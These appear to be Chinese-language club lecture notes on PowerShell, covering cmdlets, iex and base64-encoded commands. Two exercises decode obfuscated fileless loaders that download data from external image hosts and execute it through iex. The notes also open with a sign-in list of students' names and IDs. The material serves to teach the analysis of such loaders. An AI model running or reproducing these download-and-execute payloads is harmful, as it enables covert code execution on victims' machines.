# 第五次社課
###### tags: `1091`
::: danger
今天要紙本簽到喔 :point_down:
:::
::: success
線上簽到說你/妳紙本簽到了~
B063040059 陳縵欣
B093011029 吳庠憲
M083140001 張郢展
B063012015 賴亭諭
M093140010 王品媛
B063040013 李洳瑄
B063040046 徐彥庭
B083040036 蔡明霖
M093140005 黃庭筠
M093140016 謝昌勝
M093140017 張守中
B083040037 黃琮閔
M093010066 謝佳翰
B073040019 蔡孟師
B093040027 施采廷
B093040004 廖藝涵
M083140005 曾煜鈞
B062030001 江逸軒
M081050006 陳羿君
M083040031 許雅雯
M094020042 林永盛
M094020044 紀韋辰
B093040016 高聖傑
B073040047 楊志璿
B093040044 蔡明軒
M083140006 莫閔勛
M083140007 陳信傑
M074020035 黃嵩育
B093012033 王勤
B093012009 黃柏翰
:::
主題:PowerShell
講者: Still
Slide: [link](https://1drv.ms/p/s!AjOrJMOIR6BMjcAublJeRAjqy-mxPQ?e=XPsYpZ)
LICENSE CC-BY-SA
## Powershell types
* Powershell (pwsh/powershell)
* windows 7 以上開始支援, windows 10 預設 shell
* Powershell core (pwsh)
* 跨平台 (e.g. Linux) base on .NET Core
## Powershell 特性
* 可接受經過 base64 編碼後的指令( Encoded Commands )--><font color=red> super cool</font>
* e.g. `powershell.exe -noprofile - enc "base64編碼"`
* .NET call
* e.g. `[System.Console]::WriteLine("Hello World!")`
* [.NET API](https://docs.microsoft.com/zh-tw/dotnet/api/)
* incredible hacker tools
* execute the code without accessing disk spaces
* and the MS doesn't know about what going on but a shell script
## Powershell 用途
* Could call the Win32 API
* 呼叫及建立 .NET 物件
* 執行 .NET call or method
* 查看 OS 的環境變數
* `env` 指令
## Powershell Basic Commands
* 指令準則
* Powershell Command are called "cmdlets"
* 指令不分大小寫
* 查看指令:`get-verb`, `get-alias`
* 設定指令別名: `set-alias [縮寫] [指令名]`
* 跳脫字元是 \` 而非 \\ 字元
* e.g. echo `n
* ls
* cd
* rm
* Get-Verb
* verb + group
* group
* Common
* Data
* Lifecycle
* Diagnostic
* Security
* Communications
* Other
* Get-Alias
* cat -> Get-Content
* ls -> Get-ChildItem
* `$_`
* `ls | %{rm $_ }`
* env
* `$env:ProgramFiles`
* `$env:comspec`
* `$env:ProgramFiles[9] + $env:ProgramFiles[14] + $env:comspec[7]`
* ls env: 取得系統環境變數
* powershell -?
* iex (字串串接成一個指令) 即可讓powershell執行字串內容
* Invoke-Expression
* 有一定危險性
* ex: iex ($env:ProgramFiles[9] + $env:ProgramFiles[13]) = 執行ls (if ProgramFiles[9]==l & $env:ProgramFiles[13]==s)
* `help [Command Name]` (相當於 Linux 系統的 `man 指令`)
* 執行 .NET call
```
> [System.Text.Encoding]::utf8.getbytes("asdf")
```
```
> $a = [System.Text.Encoding]::utf8.getbytes("asdf")
> [System.Convert]::ToBase64String($a)
YXNkZg==
```
## 用 powershell 寫一個 "Hello World!" (歡迎大家分享自己ㄉ寫法)
* 用 echo
```powershell
echo "Hello World!"
```
* 用 .NET calls (C#)
```powershell
[System.Console]::WriteLine("Hello World!`n")
```
* String Concatenation
```powershell
"Hello " + "World!`n"
```
## Encoded Commands
可用 base64 編碼作為script執行
## .NET calls
https://paste.stillu.cc/v/6722109161853984769#JxWY+0tbiT16awDn11gykd5txCAt7Scgh/Z+d3c8I00=
https://www.base64decode.org/
## Exercise 1
題目
```=
powershell.exe -noprofile -enc "JAB3AGMAIAA9ACAAWwBzAFkAUwB0AEUATQAuAG4AZQB0AC4AVwBFAEIAQwBMAEkAZQBOAHQAXQA6ADoAbgBlAFcAKAApADsAIAAkAEYAcwAgAD0AIABbAFMAWQBzAHQARQBNAC4AaQBPAC4AbQBlAE0AbwByAFkAUwBUAHIARQBBAG0AXQAkAFcAYwAuAGQATwB3AE4ATABvAGEAZABkAGEAdABBACgAJwBoAHQAVABwAFMAOgAvAC8AJwArACAAJABlAG4AVgA6AHAAcgBvAGcAUgBBAE0ARgBJAGwAZQBzAFsAMQAyAF0AIAArACAAJwAuAGkAYgBiAC4AJwArACAAJABFAG4AdgA6AEMAbwBtAHMAcABFAEMAWwAyADAAXQArACcATwAvAFQAMgB2ACcAKwBbAEMASABBAFIAXQA1ADcAKwAnADYAMgBaAC8AZQB2AEkAbAAtAFAAQQBZAGwATwBBAEQALgBQACcAKwAkAEUATgB2ADoAYwBvAE0AcwBQAGUAYwBbADUAXQArACAAJwBnACcAKQA7ACAAJABGAFMALgBzAGUARQBrACgAMABYADIAZAA3ADgALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBTAEUARQBLAE8AUgBJAEcAaQBuAF0AOgA6AEIARQBnAEkAbgApADsAIAAkAGcAegBrAGsAagB3ACAAPQAgAFsAQgBZAHQAZQBbAF0AXQA6ADoATgBFAFcAKAAwAHgANAA3ACkAOwAgACQAZgBzAC4AUgBlAGEARAAoACQAZwB6AGsAawBqAHcALAAgADAALAAgACQAZwB6AGsAawBqAHcALgBsAEUATgBHAFQAaAApADsAIAAkAGYAcwAuAGMAbABvAHMARQAoACkAOwBbAFMAWQBTAHQARQBNAC4AVABlAFgAdAAuAGUATgBjAE8ARABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIASQBuAEcAKAAkAGcAegBrAGsAagB3ACkAfABJAGUAWAA="
```
base64結果
```powershell=
$wc = [sYStEM.net.WEBCLIeNt]::neW();
$Fs = [SYstEM.iO.meMorYSTrEAm]$Wc.dOwNLoaddatA('htTpS://'+$enV:progRAMFIles[12] + '.ibb.'+ $Env:ComspEC[20]+'O/T2v'+[CHAR]57+'62Z/evIl-PAYlOAD.P'+$ENv:coMsPec[5]+ 'g');
$FS.seEk(0X2d78, [System.IO.SEEKORIGin]::BEgIn);
$gzkkjw = [BYte[]]::NEW(0x47);
$fs.ReaD($gzkkjw, 0, $gzkkjw.lENGTh);
$fs.closE();[SYStEM.TeXt.eNcODing]::UTF8.GETSTrInG($gzkkjw)|IeX
```
```
line 2:
htTpS://i.ibb.cO/T2v962Z/evIl-PAYlOAD.PNg
https://i.ibb.co/t2v962z/evil-payload.png
```
這段程式碼是在做:
1. 建立一個 web client
2. 用這個 web client 從這一個網址去下載一個 png byte array 到 memory stream
3. 從開頭偏移 0X2d78 讀檔的指標(?) 有點像 C 語言的`fseek()`
4. 創一個新的長度為 0x47 的 byte array 物件,叫做 $gzkkjw
5. 從這個偏移的檔案指標讀 0x47 個 bytes 到 $gzkkjw
6. 把檔案關掉
7. 用 iex 執行 $gzkkjw 這東西
## Exercise 2
題目
```
SQBFAHgAKABbAHMAVAByAEkATgBnAF0AOgA6AGoAbwBJAG4AKAAgACcAJwAsACgAWwByAEUARwBlAHgAXQA6ADoATQBBAFQAYwBoAEUAcwAoACAAIgAgACkAIAApACcAJAAnACwAKQA2ADUAXQByAGEASABDAFsAKwA3ADUAXQByAGEASABDAFsAKwA0ADUAXQByAGEASABDAFsAKAAoAEUAYwBBAGwAcABlAFIALgApADQAMwBdAHIAYQBIAEMAWwBdAGcATgBJAHIAVABTAFsALAAnAFgAMgB6ACcAKABFAGMAQQBsAHAAZQBSAC4AKQAnAFgAMgB6AGcAZQBwAGoALgAnACsAJwBRADMAWgBMAG0AbgBKAC8AbQBvAGMAJwArACcALgByAHUAZwAnACsAJwBtAGkALgBpACcAKwAnAC8ALwA6ACcAKwAnAHMAcAB0AHQAJwArACcAaABYADIAegAgAD0AJwArACcAIABsACcAKwAnAHIAVQBlAGcAYQAnACsAJwBtAGkAOAA5ADYAJwAoACgAIAApACcAJwBuAEkATwBqAC0AJwBYACcAKwBdADMALAAxAFsAKQBlAGMATgBFAFIARQBmAGUAUgBQAGUAcwBPAEIAUgBlAHYAJABdAEcATgBpAFIAdABTAFsAKAAgACgAIAAmACIAIAAsACAAJwAuACcAIAAsACAAJwBSAEkAZwBIAFQAVABPAEwARQBmAHQAJwAgACkAIAB8ACAARgBPAHIARQBhAGMAaAAtAG8AQgBqAGUAYwB0ACAAewAkAF8ALgBWAGEAbAB1AEUAfQAgACkAIAApACAAKQA7AC4AIAAoACAAJABFAE4AdgA6AGMATwBtAFMAcABFAEMAWwA0ACwAMQA1ACwAMgA1AF0ALQBqAG8ASQBOACcAJwApACAAKAAgAG4AZQBXAC0AbwBiAEoAZQBDAFQAIAAgAHMAeQBTAFQAZQBNAC4AaQBPAC4AcwBUAFIAZQBBAE0AcgBFAEEARABlAFIAKAAoACAAbgBlAFcALQBvAGIASgBlAEMAVAAgAEkAbwAuAEMATwBNAFAAcgBFAHMAUwBJAG8ATgAuAEQARQBmAGwAQQB0AEUAcwBUAFIARQBhAG0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVAByAGUAYQBtAF0AIABbAEMAbwBOAHYARQByAFQAXQA6ADoAZgBSAE8ATQBiAEEAUwBlADYANABTAFQAUgBJAE4AZwAoACAAJwBVADYAawB1AFMAUABCAFAAUwB6AEIATQBUAEsAOQBWAHMARgBWAFEAQwB2AEMAbwBOAHYAQwBJAHQAegBSAHcAaQBRAGQAUwBHAGEAbgBKADIAZgBHAEcANQBxAGIAeABhAFkAWQA1AHIAagBtAHUAcABxAGEAMQBTAGcAQQA9ACcAKQAgACwAIABbAGkATwAuAEMAbwBNAHAAcgBlAFMAcwBpAG8AbgAuAGMATwBNAFAAcgBFAFMAcwBpAE8ATgBtAE8AZABFAF0AOgA6AGQAZQBDAE8AbQBQAFIARQBTAHMAKQApACAALABbAFQARQBYAHQALgBFAE4AYwBvAEQAaQBuAEcAXQA6ADoAQQBzAEMASQBpACkAIAApAC4AUgBFAEEAZABUAG8ARQBuAGQAKAAgACkAOwAkAHcAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdABdADoAOgBuAGUAdwAoACkAOwAkAHcAcwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABpAG0AYQBnAGUAVQByAGwALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAARgBpAGwAZQBOAGEAbQBlACgAKQAgACkAOwBpAGUAeAAgACgAKABHAGUAdAAtAEMAbwBtAG0AYQBuAGQAIAAoACIAdwBSACIAIAArACAAKAAoAGcAaQAgAEUAbgBWADoAcABVAGIAYABMAGAAaQBjACkALgB2AGEAbAB1AGUAWwAgACgAWwBNAGEAdABoAF0AOgA6AHIAbwB1AG4AZAAoACAAWwBJAG4AdABdADoAOgBNAGEAeABWAGEAbAB1AGUAIAAvADEAMAAxADIAMwA5ADMAMgAxACkAIAAtACAAOQApACAAKwAgACgAKABbAGkAbgB0AF0AOgA6AE0AYQB4AFYAYQBsAHUAZQAgACUAIABbAGkAbgB0AF0AOgA6AE0AaQBuAFYAYQBsAHUAZQAgACUAIABbAGkAbgB0AF0AWwBjAGgAYQByAF0AMgApACkAXQAgACkAIAArACAAIgB0AGUAIgArACAAWwBjAGgAYQByAF0ANAA1ACAAKwAiAE8AdQAqACIAKQApAC4AQwBtAGQAbABlAHQAQgBpAG4AZABpAG4AZwAgACsAIAAnACIAJwAgACsAIAAoACgAZwB2ACAAKAAnAHAATwBmACcAKwAgACgAKABbAGwAbwBuAGcAXQA6ADoATQBhAHgAVgBhAGwAdQBlAC0AWwBpAG4AdABdADoAOgBNAGEAeABWAGEAbAB1AGUAKQAuAHQAbwBzAHQAcgBpAG4AZwAoACkAWwAxADYAXQApACAAKwAgACcAYQBnACcAKQApAC4AdgBhAGwAdQBlACkAIAArACcAIgAnACkAIAA+ACAAJABuAHUAbABsAA==
```
base64結果
```powershell=
IEx([sTrINg]::joIn( '',([rEGex]::MATchEs( " ) )'$',)65]raHC[+75]raHC[+45]raHC[((EcAlpeR.)43]raHC[]gNIrTS[,'X2z'(EcAlpeR.)'X2zgepj.Q3ZLmnJ/moc.rugmi.i//:sptthX2z = lrUegami896'(( )''nIOj-'X'+]3,1[)ecNEREfeRPesOBRev$]GNiRtS[( ( &" , '.' , 'RIgHTTOLEft' ) | FOrEach-oBject {$_.ValuE} ) ) );
. ($ENv:cOmSpEC[4,15,25]-joIN'') ( neW-obJeCT sySTeM.iO.sTReAMrEADeR(( neW-obJeCT Io.COMPrEsSIoN.DEflAtEsTREam([Io.MemoRysTream][CoNvErT]::fROMbASe64STRINg( 'U6kuSPBPSzBMTK9VsFVQCvCoNvCItzRwiQdSGanJ2fGG5qbxaYY5rjmupqa1SgA=') , [iO.CoMpreSsion.cOMPrESsiONmOdE]::deCOmPRESs)) ,[TEXt.ENcoDinG]::AsCIi) ).REAdToEnd( );
$ws = [System.Net.WebClient]::new();
$ws.DownloadFile($imageUrl, [System.IO.Path]::GetTempFileName() );
$iex ((Get-Command ("wR" + ((gi EnV:pUb`L`ic).value[ ([Math]::round( [Int]::MaxValue /101239321) - 9) + (([int]::MaxValue % [int]::MinValue % [int][char]2))] ) + "te"+ [char]45 +"Ou*")).CmdletBinding + '"' + ((gv ('pOf'+ (([long]::MaxValue-[int]::MaxValue).tostring()[16]) + 'ag')).value) +'"') > $null
```
```
line 1: assign the string to url
https://i.imgur.com/JnmLZ3Q.jpeg
```
```
line 6:
gi -> Get-Item
iex ((Get-Command ("wRite-ou*")...
gv -> Get Variable
```
> PH{0H_90D_0H_heck_175_f1lElE55}
---
頁尾交流區
>
WHERE IS THE "SLIDE"??
> https://1drv.ms/p/s!AjOrJMOIR6BMjcAublJeRAjqy-mxPQ?e=XPsYpZ
:+1:
技術文件在哪?
> https://docs.microsoft.com/en-us/dotnet/api/